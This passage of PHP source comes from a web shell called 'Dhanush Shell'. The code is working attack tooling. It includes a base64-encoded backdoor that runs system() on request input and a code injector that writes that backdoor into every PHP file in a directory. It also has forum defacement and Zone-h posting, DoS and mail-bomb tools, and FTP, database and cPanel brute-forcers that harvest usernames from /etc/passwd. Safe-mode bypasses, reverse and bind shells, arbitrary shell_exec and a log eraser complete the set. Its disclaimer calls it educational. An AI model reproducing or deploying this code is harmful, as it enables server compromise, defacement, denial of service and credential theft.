3611 <textarea name="message" cols="110" rows="10" class="box">Hello !! This is Dhanush!!!</textarea>
3612 </td>
3613 </tr>
3614
3615
3616 <tr>
3617 <td rowspan="2">
3618 <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="button" onClick="sendmail('massmailing',to.value,subject.value,message.value,from.value)" class="but" value=" Send! "/>
3619 </td>
3620 </tr>
3621 </table>
3622 </form></div>
3623 <?php
3624}
3625// Get Domains
3626else if (isset($_REQUEST["symlinkserver"])) {
3627?>
3628 <center><table><tr>
3629 <td><a href=javascript:void(0) onClick="getdata('domains')"><font class=txt><b>| Get Domains |</b></font></a></td>
3630 <td><a href=javascript:void(0) onClick="getdata('symlink')"><font class=txt><b>| Symlink Server |</b></font></a></td>
3631 <td><a href=javascript:void(0) onClick="getdata('symlinkfile')"><font class=txt><b>| Symlink File |</b></font></a></td>
3632 <td><a href=javascript:void(0) onClick="getdata('script')"><font class=txt><b>| Script Locator |</b></font></a></td>
3633 </tr></table></center><br>
3634 <div id="showdata"></div><?php
3635}
3636// Forum Manager
3637else if (isset($_REQUEST["forum"])) { ?>
3638 <center><table><tr><td><a href=# onClick="getdata('defaceforum')"><font class=txt size="4">| Forum Defacer |</font></a></td>
3639 <td><a href=# onClick="getdata('passwordchange')"><font class=txt size="4">| Forum Password Changer |</font></a></td>
3640 <td><a href=# onClick="getdata('massdeface')"><font class=txt size="4">| Mass Defacer |</font></a></td>
3641 </tr></table></center><br><div id="showdata"></div>
3642 <?php
3643}
3644// Sec info
3645else if (isset($_GET['secinfo'])) { ?><div id=showdata></div>
3646<center><div id="showmydata"></div>
3647</center>
3648<br><center><font size=5>Server security information</font><br><br></center>
3649 <table class="btmtbl" style="width:100%;" border="1">
3650 <tr>
3651 <td style="width:7%;">Curl</td>
3652 <td style="width:7%;">Oracle</td>
3653 <td style="width:7%;">MySQL</td>
3654 <td style="width:7%;">MSSQL</td>
3655 <td style="width:7%;">PostgreSQL</td>
3656 <td style="width:12%;">Open Base Directory</td>
3657 <td style="width:10%;">Safe_Exec_Dir</td>
3658 <td style="width:7%;">PHP Version</td>
3659 <td style="width:7%;">Magic Quotes</td>
3660 <td style="width:7%;">Server Admin</td>
3661 </tr>
3662 <tr>
3663 <td style="width:7%;"><font class="txt"><?php curlinfo(); ?></font></td>
3664 <td style="width:7%;"><font class="txt"><?php oracleinfo(); ?></font></td>
3665 <td style="width:7%;"><font class="txt"><?php mysqlinfo(); ?></font></td>
3666 <td style="width:7%;"><font class="txt"><?php mssqlinfo(); ?></font></td>
3667 <td style="width:7%;"><font class="txt"><?php postgresqlinfo(); ?></font></td>
3668 <td style="width:12%;"><font class="txt"><?php echo $basedir; ?></font></td>
3669 <td style="width:10%;"><font class="txt"><?php if (@function_exists('ini_get')) {
3670 if ('' == ($df = @ini_get('safe_mode_exec_dir'))) {
3671 echo "<font >NONE</font></b>";
3672 } else {
3673 echo "<font color=green>$df</font></b>";
3674 };
3675 } ?></font></td>
3676 <td style="width:7%;"><font class="txt"><?php phpver(); ?></font></td>
3677 <td style="width:7%;"><font class="txt"><?php magic_quote(); ?></font></td>
3678 <td style="width:7%;"><font class="txt"><?php serveradmin(); ?></font></td>
3679 </tr>
3680</table><br> <?php
3681 mysecinfo();
3682}
3683// Code Injector
3684else if (isset($_GET['injector'])) {
3685?>
3686 <form method='POST'>
3687 <table id="margins">
3688 <tr>
3689 <td width="100" class="title">
3690 Directory
3691 </td>
3692 <td>
3693 <input class="box" name="pathtomass" value="<?php echo getcwd() . $SEPARATOR; ?>" />
3694 </td>
3695
3696 </tr>
3697 <tr>
3698 <td class="title">
3699 Mode
3700 </td>
3701 <td>
3702 <select style="width: 400px;" name="mode" class="box">
3703 <option value="Apender">Apender</option>
3704 <option value="Overwriter">Overwriter</option>
3705 </select>
3706 </td>
3707 </tr>
3708 <tr>
3709 <td class="title">
3710 File Type
3711 </td>
3712 <td>
3713 <input type="text" class="box" name="filetype" value="php" onBlur="if(this.value=='')this.value='php';" />
3714 </td>
3715 </tr>
3716 <tr>
3717 <td>Create A backdoor by injecting this code in every php file of current directory</td>
3718 </tr>
3719
3720 <tr>
3721 <td colspan="2">
3722 <textarea name="injectthis" cols="110" rows="10" class="box"><?php echo base64_decode("PD9waHAgJGNtZCA9IDw8PEVPRA0KY21kDQpFT0Q7DQoNCmlmKGlzc2V0KCRfUkVRVUVTVFskY21kXSkpIHsNCnN5c3RlbSgkX1JFUVVFU1RbJGNtZF0pOyB9ID8+"); ?></textarea>
3723 </td>
3724 </tr>
3725 <tr>
3726 <td rowspan="2">
3727 <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="button" onClick="codeinjector(pathtomass.value,mode.value,filetype.value,injectthis.value)" class="but" value="Inject "/>
3728 </td>
3729 </tr>
3730 </form>
3731 </table><div id="showinject"</div>
3732 <?php
3733}
3734// Bypass
3735else if (isset($_GET["bypass"])) {
3736?><center><div id="showbyp"></div></center>
3737 <table cellpadding="7" align="center" border="3" style="width:70%;border-color:#333333;">
3738 <tr>
3739 <td align="center" colspan="2"><font size="3">Safe mode bypass</font></td>
3740 </tr>
3741 <tr>
3742 <td align="center">
3743 <p>Using copy() function</p>
3744 <form onSubmit="bypassfun('copy',copy.value);return false;">
3745 <input type="text" name="copy" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('copy',copy.value)" value="bypass" class="but">
3746 </form>
3747 </td>
3748 <td align="center">
3749 <p>Using imap() function</p>
3750 <form onSubmit="bypassfun('imap',imap.value);return false;">
3751 <input type="text" name="imap" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('imap',imap.value)" value="bypass" class="but">
3752 </form>
3753 </td>
3754 </tr>
3755
3756 <tr>
3757 <td align="center">
3758 <p>Using sql() function</p>
3759 <form onSubmit="bypassfun('sql',sql.value);return false;">
3760 <input type="text" name="sql" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('sql',sql.value)" value="bypass" class="but">
3761 </form>
3762 </td>
3763 <td align="center">
3764 <p>Using Curl() function</p>
3765 <form onSubmit="bypassfun('curl',curl.value);return false;">
3766 <input type="text" name="curl" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('curl',curl.value)" value="bypass" class="but">
3767 </form>
3768 </td>
3769 </tr>
3770
3771 <tr>
3772 <td align="center">
3773 <p>Bypass using include()</p>
3774 <form onSubmit="bypassfun('include',include.value);return false;">
3775 <input type="text" name="include" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('include',include.value)" value="bypass" class="but">
3776 </form>
3777 </td>
3778 <td align="center">
3779 <p>Using id() function</p>
3780 <form onSubmit="bypassfun('id',id.value);return false;">
3781 <input type="text" name="id" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('id',id.value)" value="bypass" class="but">
3782 </form>
3783 </td>
3784 </tr>
3785
3786 <tr>
3787 <td align="center">
3788 <p>Using tempnam() function</p>
3789 <form onSubmit="bypassfun('tempnam',tempname.value);return false;">
3790 <input type="text" name="tempname" value="../../../etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('tempnam',tempname.value)" value="bypass" class="but">
3791 </form>
3792 </td>
3793 <td align="center">
3794 <p>Using symlink() function</p>
3795 <form onSubmit="bypassfun('symlnk',sym.value);return false;">
3796 <input type="text" name="sym" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('symlnk',sym.value)" value="bypass" class="but">
3797 </form>
3798 </td>
3799 </tr>
3800 <tr>
3801 <td colspan=2 align="center">
3802 <p>Using Bypass function</p>
3803 <form onSubmit="bypassfun('newtype',newtype.value,optiontype.value);return false;">
3804 <input type="text" name="newtype" value="/etc/passwd" class="sbox">
3805 <select id="optiontype" class=sbox>
3806 <option value="tac">tac</option>
3807 <option value="more">more</option>
3808 <option value="less">less</option>
3809 <option value="rev">rev</option>
3810 <option value="xxd">xxd</option>
3811 </select>
3812 <input type="button" OnClick="bypassfun('newtype',newtype.value,optiontype.value)" value="bypass" class="but">
3813 </form>
3814 </td>
3815 </tr>
3816 </table>
3817 </form>
3818 <?php
3819}
3820//fuzzer
3821else if (isset($_GET['fuzz'])) {
3822?>
3823 <form method="GET">
3824 <table id="margins">
3825 <tr>
3826 <td width="400" class="title">
3827 IP
3828 </td>
3829 <td>
3830 <input class="box" name="myip" value="127.0.0.1" onFocus="if(this.value == '127.0.0.1')this.value = '';" onBlur="if(this.value=='')this.value='127.0.0.1';"/>
3831 </td>
3832 </tr>
3833
3834 <tr>
3835 <td class="title">
3836 Port
3837 </td>
3838 <td>
3839 <input class="box" name="port" value="80" onFocus="if(this.value == '80')this.value = '';" onBlur="if(this.value=='')this.value='80';"/>
3840 </td>
3841 </tr>
3842
3843 <tr>
3844 <td class="title">
3845 Timeout
3846 </td>
3847 <td>
3848 <input type="text" class="box" name="time" value="5" onFocus="if(this.value == '5')this.value = '';" onBlur="if(this.value=='')this.value='5';"/>
3849 </td>
3850 </tr>
3851
3852
3853 <tr>
3854 <td class="title">
3855 No of times
3856 </td>
3857 <td>
3858 <input type="text" class="box" name="times" value="100" onFocus="if(this.value == '100')this.value = '';" onBlur="if(this.value=='')this.value='100';" />
3859 </td>
3860 </tr>
3861
3862 <tr>
3863 <td class="title">
3864 Message (The message Should be long and it will be multiplied with the value after it)
3865 </td>
3866 <td>
3867 <input class="box" name="message" value="%S%x--Some Garbage here --%x%S" onFocus="if(this.value == '%S%x--Some Garbage here --%x%S')this.value = '';" onBlur="if(this.value=='')this.value='%S%x--Some Garbage here --%x%S';"/>
3868 </td>
3869 <td>
3870 x
3871 </td>
3872 <td width="20">
3873 <input style="width: 30px;" class="box" name="messageMultiplier" value="10" />
3874 </td>
3875 </tr>
3876
3877 <tr>
3878 <td rowspan="2">
3879 <input style="margin : 20px; margin-left: 500px; padding : 10px; width: 100px;" type="button" onClick="dos('fuzzer',myip.value,port.value,time.value,times.value,message.value,messageMultiplier.value)" class="but" value=" Submit "/>
3880 </td>
3881 </tr>
3882 </table>
3883 </form><div id="showdos"></div>
3884 <?php
3885}
3886// Zone-h Poster
3887else if (isset($_GET["zone"])) {
3888 if (!function_exists('curl_version')) {
3889 echo "<pre style='margin-top:5px'><center><font >PHP CURL NOT EXIST</font></center></pre>";
3890 }
3891?>
3892 <center><font size="4">Zone-h Poster</font></center>
3893 <form action="<?php echo $self; ?>" method="post">
3894 <table align="center" cellpadding="5" border="0">
3895 <tr>
3896 <td>
3897 <input type="text" name="defacer" value="Attacker" class="box" /></td></tr>
3898 <tr><td>
3899 <select name="hackmode" class="box">
3900 <option >--------SELECT--------</option>
3901 <option value="1">known vulnerability (i.e. unpatched system)</option>
3902 <option value="2" >undisclosed (new) vulnerability</option>
3903 <option value="3" >configuration / admin. mistake</option>
3904 <option value="4" >brute force attack</option>
3905 <option value="5" >social engineering</option>
3906 <option value="6" >Web Server intrusion</option>
3907 <option value="7" >Web Server external module intrusion</option>
3908 <option value="8" >Mail Server intrusion</option>
3909 <option value="9" >FTP Server intrusion</option>
3910 <option value="10" >SSH Server intrusion</option>
3911 <option value="11" >Telnet Server intrusion</option>
3912 <option value="12" >RPC Server intrusion</option>
3913 <option value="13" >Shares misconfiguration</option>
3914 <option value="14" >Other Server intrusion</option>
3915 <option value="15" >SQL Injection</option>
3916 <option value="16" >URL Poisoning</option>
3917 <option value="17" >File Inclusion</option>
3918 <option value="18" >Other Web Application bug</option>
3919 <option value="19" >Remote administrative panel access bruteforcing</option>
3920 <option value="20" >Remote administrative panel access password guessing</option>
3921 <option value="21" >Remote administrative panel access social engineering</option>
3922 <option value="22" >Attack against administrator(password stealing/sniffing)</option>
3923 <option value="23" >Access credentials through Man In the Middle attack</option>
3924 <option value="24" >Remote service password guessing</option>
3925 <option value="25" >Remote service password bruteforce</option>
3926 <option value="26" >Rerouting after attacking the Firewall</option>
3927 <option value="27" >Rerouting after attacking the Router</option>
3928 <option value="28" >DNS attack through social engineering</option>
3929 <option value="29" >DNS attack through cache poisoning</option>
3930 <option value="30" >Not available</option>
3931 </select>
3932 </td></tr>
3933 <tr><td>
3934 <select name="reason" class="box">
3935 <option >--------SELECT--------</option>
3936 <option value="1" >Heh...just for fun!</option>
3937 <option value="2" >Revenge against that website</option>
3938 <option value="3" >Political reasons</option>
3939 <option value="4" >As a challenge</option>
3940 <option value="5" >I just want to be the best defacer</option>
3941 <option value="6" >Patriotism</option>
3942 <option value="7" >Not available</option>
3943 </select></td></tr>
3944 <tr><td>
3945 <textarea name="domain" class="box" cols="47" rows="9">List Of Domains</textarea></td></tr>
3946 <tr><td>
3947 <input type="button" onClick="zoneh(defacer.value,hackmode.value,reason.value,domain.value)" class="but" value="Send Now !" /></td></tr></table>
3948 </form><div id="showzone"></div>
3949 <?php
3950}
3951//DDos
3952else if (isset($_GET['dos'])) {
3953?>
3954 <form method="GET">
3955 <table id="margins">
3956 <tr>
3957 <td width="400" class="title">
3958 IP
3959 </td>
3960 <td>
3961 <input class="box" name="myip" value="127.0.0.1" onFocus="if(this.value == '127.0.0.1')this.value = '';" onBlur="if(this.value=='')this.value='127.0.0.1';"/>
3962 </td>
3963 </tr>
3964
3965 <tr>
3966 <td class="title">
3967 Port
3968 </td>
3969 <td>
3970 <input class="box" name="port" value="80" onFocus="if(this.value == '80')this.value = '';" onBlur="if(this.value=='')this.value='80';"/>
3971 </td>
3972 </tr>
3973
3974 <tr>
3975 <td class="title">
3976 Timeout <font >(Time in seconds)</font>
3977 </td>
3978 <td>
3979 <input type="text" class="box" name="timeout" value="5" onFocus="if(this.value == '5')this.value = '';" onBlur="if(this.value=='')this.value='5';" />
3980 </td>
3981 </tr>
3982 <tr>
3983 <td class="title">
3984 Execution Time <font >(Time in seconds)</font>
3985 </td>
3986 <td>
3987 <input type="text" class="box" name="exTime" value="10" onFocus="if(this.value == '10')this.value = '';" onBlur="if(this.value=='')this.value='10';"/>
3988 </td>
3989 </tr>
3990 <tr>
3991 <td class="title">
3992 No of Bytes per/packet
3993 </td>
3994 <td>
3995 <input type="text" class="box" name="noOfBytes" value="999999" onFocus="if(this.value == '999999')this.value = '';" onBlur="if(this.value=='')this.value='999999';"/>
3996 </td>
3997 </tr>
3998 <tr>
3999 <td rowspan="2">
4000 <input style="margin : 20px; margin-left: 500px; padding : 10px; width: 100px;" type="button" onClick="dos('dosser',myip.value,port.value,timeout.value,exTime.value,noOfBytes.value,'null')" class="but" value=" Attack >> "/>
4001 </td>
4002 </tr>
4003 </table>
4004 </form><div id="showdos"></div>
4005 <?php
4006} else if (isset($_GET['mailbomb'])) { ?>
4007 <center><table><tr><td><a href=javascript:void(0) onClick="getdata('bomb')"><font class=txt size="4">| Mail Bomber |</font></a></td>
4008 <td><a href=javascript:void(0) onClick="getdata('mail')"><font class=txt size="4">| Mass Mailer |</font></a></td></tr></table></center><br><div id=showdata></div>
4009<?php
4010} else if (isset($_GET['tools'])) {
4011?>
4012 <center><br><form onSubmit="getport(host.value,protocol.value);return false;">
4013 <table cellpadding="5" border="3" style="border-color:#333333; width:50%;">
4014 <tr>
4015 <td colspan="2" align="center"><b><font size='4'>Port Scanner<br></font></b></td>
4016 </tr>
4017 <tr>
4018 <td align="center">
4019 <input class="sbox" type='text' name='host' value='<?php echo $_SERVER["SERVER_ADDR"]; ?>' >
4020 </td>
4021 <td align="center">
4022 <select class="sbox" name='protocol'>
4023 <option value='tcp'>tcp</option>
4024 <option value='udp'>udp</option>
4025 </select>
4026 </td>
4027 <tr>
4028 <td colspan="2" align="center"><input class="but" type='button' onClick="getport(host.value,protocol.value)" value='Scan Ports'></td>
4029 </tr>
4030 </form>
4031 <tr><td colspan=2><div id="showports"></div>
4032 </td></tr></table>
4033
4034 <br>
4035 <form onSubmit="bruteforce(prototype.value,serverport.value,login.value,dict.value);return false;">
4036 <table cellpadding="5" border="2" style="border-color:#333333; width:50%;">
4037 <tr>
4038 <td colspan="2" align="center"><font size="4">BruteForce</font></td>
4039 </tr>
4040 <tr>
4041 <td>Type : </td>
4042 <td>
4043 <select name="prototype" class="sbox">
4044 <option value="ftp">FTP</option>
4045 <option value="mysql">MYSQL</option>
4046 <option value="postgresql">PostgreSql</option>
4047 </select>
4048 </td>
4049 </tr>
4050 <tr>
4051 <td>Server <b>:</b> Port : </td>
4052 <td><input type="text" name="serverport" value="<?php echo $_SERVER["SERVER_ADDR"]; ?>" class="sbox"></td>
4053 </tr>
4054 <tr>
4055 <td valign="middle">Brute type : </td>
4056 <td><label><input type=radio name=mytype value="1" checked> /etc/passwd</label><label><input type=checkbox id="reverse" name=reverse value=1 checked> reverse (login -> nigol)</label><hr color="#1B1B1B">
4057 <label><input type=radio name=mytype value="2"> Dictionary</label><br>
4058 Login : <input type="text" name="login" value="root" class="sbox"><br>
4059 Dictionary : <input type="text" name="dict" value="<?php echo getcwd() . $directorysperator; ?>passwd.txt" class="sbox">
4060 </td>
4061 </tr>
4062 <tr>
4063 <td colspan="2" align="center"><input type="button" onClick="bruteforce(prototype.value,serverport.value,login.value,dict.value)" value="Attack >>" class="but"></td>
4064 </tr>
4065 </form><tr><td colspan="2" id="showbrute"></td></tr>
4066 </table>
4067 </center><br>
4068 <?php
4069} else if (isset($_GET["phpc"])) {
4070?>
4071 <div id="showresult"></div>
4072 <form name="frm">
4073 <textarea name="code" class="box" cols="120" rows="10">phpinfo();</textarea>
4074 <br /><br />
4075 <input name="submit" value="Execute This COde! " class="but" onClick="execode(code.value)" type="button" />
4076 <label><input type="checkbox" id="intext" name="intext" value="disp"> <font class=txt size="3">Display in Textarea</font></label>
4077 </form>
4078 <?php
4079} else if (isset($_GET["exploit"])) {
4080 if (!isset($_GET["rootexploit"])) {
4081?>
4082 <center>
4083 <form action="<?php echo $self; ?>" method="get" target="_blank">
4084 <input type="hidden" name="exploit">
4085 <table border="1" cellpadding="5" cellspacing="4" style="width:50%;border-color:#333333;">
4086 <tr>
4087 <td style="height:60px;">
4088 <font size="4" class=txt>Select Website</font></td><td>
4089 <p><select id="rootexploit" name="rootexploit" class="box">
4090 <option value="exploit-db">Exploit-db</option>
4091 <option value="packetstormsecurity">Packetstormsecurity</option>
4092 <option value="exploitsearch">Exploitsearch</option>
4093 <option value="shodanhq">Shodanhq</option>
4094 </select></p></td></tr><tr><td colspan="2" align="center" style="height:40px;">
4095 <input type="submit" value="Search" class="but"></td></tr></table>
4096 </form></center><br>
4097
4098 <?php
4099 } else {
4100 //exploit search
4101 $Lversion = php_uname(r);
4102 $OSV = php_uname(s);
4103 if (eregi('Linux', $OSV)) {
4104 $Lversion = substr($Lversion, 0, 6);
4105 if ($_GET['rootexploit'] == "exploit-db") {
4106 header("Location:http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=Linux+Kernel+$Lversion");
4107 } else if ($_GET['rootexploit'] == "packetstormsecurity") {
4108 header("Location:http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=Linux+Kernel+$Lversion");
4109 } else if ($_GET['rootexploit'] == "exploitsearch") {
4110 header("Location:http://exploitsearch.com/search.html?cx=000255850439926950150%3A_vswux9nmz0&cof=FORID%3A10&q=Linux+Kernel+$Lversion");
4111 } else if ($_GET['rootexploit'] == "shodanhq") {
4112 header("Location:http://www.shodanhq.com/exploits?q=Linux+Kernel+$Lversion");
4113 }
4114 } else {
4115 $Lversion = substr($Lversion, 0, 3);
4116 if ($_GET['rootexploit'] == "exploit-db") {
4117 header("Location:http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=$OSV+Lversion");
4118 } else if ($_GET['rootexploit'] == "packetstormsecurity") {
4119 header("Location:http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=$OSV+Lversion");
4120 } else if ($_GET['rootexploit'] == "exploitsearch") {
4121 header("Location:http://exploitsearch.com/search.html?cx=000255850439926950150%3A_vswux9nmz0&cof=FORID%3A10&q=$OSV+Lversion");
4122 } else if ($_GET['rootexploit'] == "shodanhq") {
4123 header("Location:http://www.shodanhq.com/exploits?q=$OSV+Lversion");
4124 }
4125 }
4126 //End of Exploit search
4127
4128 }
4129}
4130// Connect
4131else if (isset($_REQUEST['connect'])) {
4132?>
4133 <form action='<?php echo $self; ?>' method='POST' >
4134 <table style="width:50%" align="center" >
4135 <tr>
4136 <th colspan="1" width="50px">Reverse Shell</th>
4137 <th colspan="1" width="50px">Bind Shell</th>
4138 </tr>
4139 <tr>
4140 <td>
4141 <table style="border-spacing: 6px;">
4142 <tr>
4143 <td>IP </td>
4144 <td>
4145 <input type="text" class="box" style="width: 200px;" name="ip" value="<?php yourip(); ?>" />
4146 </td>
4147 </tr>
4148 <tr>
4149 <td>Port </td>
4150 <td><input style="width: 200px;" class="box" name="port" size='5' value="9891"/></td>
4151 </tr>
4152 <tr>
4153 <td style="vertical-align:top;">Use:</td>
4154 <td><select style="width: 95px;" name="lang" class="sbox">
4155 <option value="perl">Perl</option>
4156 <option value="python">Python</option>
4157 <option value="php">PHP</option>
4158 </select>
4159 <input type="submit" style="width: 90px;" class="but" value="Connect!" name="backconnect"/></td>
4160 </tr>
4161 </table> </form>
4162 </td>
4163
4164 <td style="vertical-align:top;">
4165 <form method='post' >
4166 <table style="border-spacing: 6px;">
4167 <tr>
4168 <td>Port</td>
4169 <td>
4170 <input style="width: 200px;" class="box" name="port" value="9891" />
4171 </td>
4172 </tr>
4173 <tr>
4174 <td>Password </td>
4175 <td>
4176 <input style="width: 200px;" class="box" name="passwd" value="Dhanush"/>
4177 </td>
4178 <tr>
4179 <td>Using</td>
4180 <td>
4181 <select style="width: 95px;" name="lang" id="lang" class="sbox">
4182 <option value="perl">Perl</option>
4183 <option value="c">C</option>
4184 </select>
4185 <input style="width: 90px;" class="but" type="submit" name="backdoor" value=" Bind "/></td>
4186 </tr>
4187 </table>
4188 </td>
4189 </form>
4190 </tr>
4191 <tr><td colspan=2>Click "Connect" only after open port for it.Use NetCat, run "nc -l -n -v -p 9891"!<br>Click "Bind", use netcat and give it the command 'nc <?php yourip(); ?> 9891"!</td></tr>
4192 </table>
4193
4194 <?php
4195} else if (isset($_REQUEST['404'])) {
4196?>
4197 <center><table><tr><td><a href=javascript:void(0) onClick="getdata('404new')"><font class=txt size="4">| Set Your 404 Page |</font></a></td>
4198 <td><a href=javascript:void(0) onClick="getdata('404page')"><font class=txt size="4">| Set Specified 404 Page |</font></a></td>
4199 </tr></table></center><br>
4200 <div id="showdata"></div>
4201 <?php
4202} else if (isset($_GET['about'])) { ?>
4203 <center>
4204 <p><font size=6><u>D h a n u s h</u></font><br>
4205 <font size=5>[--==Coded By Arjun==--]</font>
4206 <div style='font-family: Courier New; font-size: 10px;'><font class=om><pre>
4207
4208 - -- -
4209 -- -- --
4210 -- --
4211 --- ---
4212 ------
4213 ----
4214 ----
4215 ------
4216-------
4217--- --
4218 -- ---
4219 -- -----
4220 --- --- ---
4221 --- --- ---
4222-- --------- --
4223-- ------- --
4224 -- ---- --
4225 -- --- --
4226 -- -- --
4227 --- --- -- ---
4228 ------ ------
4229 ---- ----
4230
4231
4232 </pre></font></div></center>
4233 <font class="om">Dhanush Shell is a PHP Script, created for checking the vulnerability and security of any web server or website. With this PHP script, the owner can check various vulnerablities present in the web server. This shell provide you almost every facility that the security analyst need for penetration testing. This is a "All In One" php script, so that the user do not need to go anywhere else.<br> This script is coded by an Indian Ethical Hacker.<br> This script is only coded for education purpose or testing on your own server.The developer of the script is not responsible for any damage or misuse of it</font><br><br><center><font size=5>GREETZ To All Indian Hackers</font><br><font size=6>| जय महाकाल | | जय हिन्द |</font></center><br>
4234 <?php
4235} else if (isset($_GET['database'])) { ?>
4236 <form onSubmit="mydatabase(server.value,username.value,password.value);return false;">
4237 <table id="datatable" style="width:90%;" cellpadding="4" align="center">
4238 <tr>
4239 <td colspan="2">Connect To Database</td>
4240 </tr>
4241 <tr>
4242 <td>Server Address :</td>
4243 <td><input type="text" class="box" name="server" value="localhost"></td>
4244 </tr>
4245 <tr>
4246 <td>Username :</td>
4247 <td><input type="text" class="box" name="username" value="root"></td>
4248 </tr>
4249 <tr>
4250 <td>Password:</td>
4251 <td><input type="text" class="box" name="password" value=""></td>
4252 </tr>
4253
4254 <tr>
4255 <td></td>
4256 <td><input type="button" onClick="mydatabase(server.value,username.value,password.value)" value=" Connect " name="executeit" class="but"></td>
4257 </tr>
4258 </table>
4259 </form>
4260 <div id="showsql"></div>
4261<?php
4262}
4263// Cpanel Cracker
4264else if (isset($_REQUEST['cpanel'])) {
4265 $cpanel_port = "2082";
4266 $connect_timeout = 5;
4267?>
4268 <center>
4269 <form method=post>
4270 <table class="btmtbl" style="width:50%;" border=1 cellpadding=4>
4271 <tr>
4272 <td align=center colspan=2>Target : <input type=text name="server" value="localhost" class=sbox></td>
4273 </tr>
4274 <tr>
4275 <td align=center>User names</td><td align=center>Password</td>
4276 </tr>
4277 <tr>
4278 <td align=center><textarea name=username rows=25 cols=22 class=box><?php
4279 if ($os != "Windows") {
4280 if (@file('/etc/passwd')) {
4281 $users = file('/etc/passwd');
4282 foreach ($users as $user) {
4283 $user = explode(':', $user);
4284 echo $user[0] . "
4285";
4286 }
4287 } else {
4288 $temp = "";
4289 $val1 = 0;
4290 $val2 = 1000;
4291 for (;$val1 <= $val2;$val1++) {
4292 $uid = @posix_getpwuid($val1);
4293 if ($uid) $temp.= join(':', $uid) . "
4294";
4295 }
4296 $temp = trim($temp);
4297 if ($file5 = fopen("test.txt", "w")) {
4298 fputs($file5, $temp);
4299 fclose($file5);
4300 $file = fopen("test.txt", "r");
4301 while (!feof($file)) {
4302 $s = fgets($file);
4303 $matches = array();
4304 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
4305 $matches = str_replace("home/", "", $matches[1]);
4306 if (strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named") continue;
4307 echo $matches;
4308 }
4309 fclose($file);
4310 }
4311 }
4312 }
4313?></textarea></td><td align=center><textarea name=password rows=25 cols=22 class=box></textarea></td>
4314 </tr>
4315 <tr>
4316 <td align=center colspan=2>Guess options : <label><input name="cracktype" type="radio" value="cpanel" checked> Cpanel(2082)</label><label><input name="cracktype" type="radio" value="ftp"> Ftp(21)</label><label><input name="cracktype" type="radio" value="telnet"> Telnet(23)</label></td>
4317 </tr>
4318 <tr>
4319 <td align=center colspan=2>Timeout delay : <input type="text" name="delay" value=5 class=sbox></td>
4320 </tr>
4321 <tr>
4322 <td align=center colspan=2><input type="submit" name="cpanelattack" value=" Go " class=but></td>
4323 </tr>
4324 </table>
4325 </form>
4326 </center>
4327 <?php
4328} else if (isset($_REQUEST['malattack'])) {
4329?><input type="hidden" id="malpath" value="<?php echo $_GET["dir"]; ?>">
4330 <center><table><tr><td><a href=# onClick="getdata('malware')"><font class=txt size="4">| Malware Attack |</font></a></td>
4331 <td><a href=# onClick="getdata('codeinsert')"><font class=txt size="4">| Insert Own Code |</font></a></td></tr></table></center><br>
4332 <div id="showdata"></div>
4333 <?php
4334} else if (isset($_GET["com"])) {
4335 echo "<br>";
4336 ob_start();
4337 eval("phpinfo();");
4338 $b = ob_get_contents();
4339 ob_end_clean();
4340 $a = strpos($b, "<body>") + 6; // yeah baby,, your body is wonderland ;-)
4341 $z = strpos($b, "</body>");
4342 $s_result = "<div class='myphp'>" . substr($b, $a, $z - $a) . "</div>";
4343 echo $s_result;
4344} else if (isset($_GET['execute'])) {
4345 $comm = $_GET['execute'];
4346 chdir($_GET['executepath']);
4347 $check = shell_exec($comm);
4348 echo "<center><textarea id=showexecute cols=120 rows=20 class=box>" . $check . "</textarea></center>";
4349?>
4350 <BR><BR><center><form onSubmit="executemyfn('<?php echo addslashes($_GET['executepath']); ?>',execute.value);return false;">
4351 <input type="text" class="box" name="execute">
4352 <input type="button" onClick="executemyfn('<?php echo addslashes($_GET['executepath']); ?>',execute.value)" value="Execute" class="but"></form></center>
4353 <?php
4354} else if (isset($_GET['mycmd'])) {
4355 if ($_GET['mycmd'] == "logeraser") {
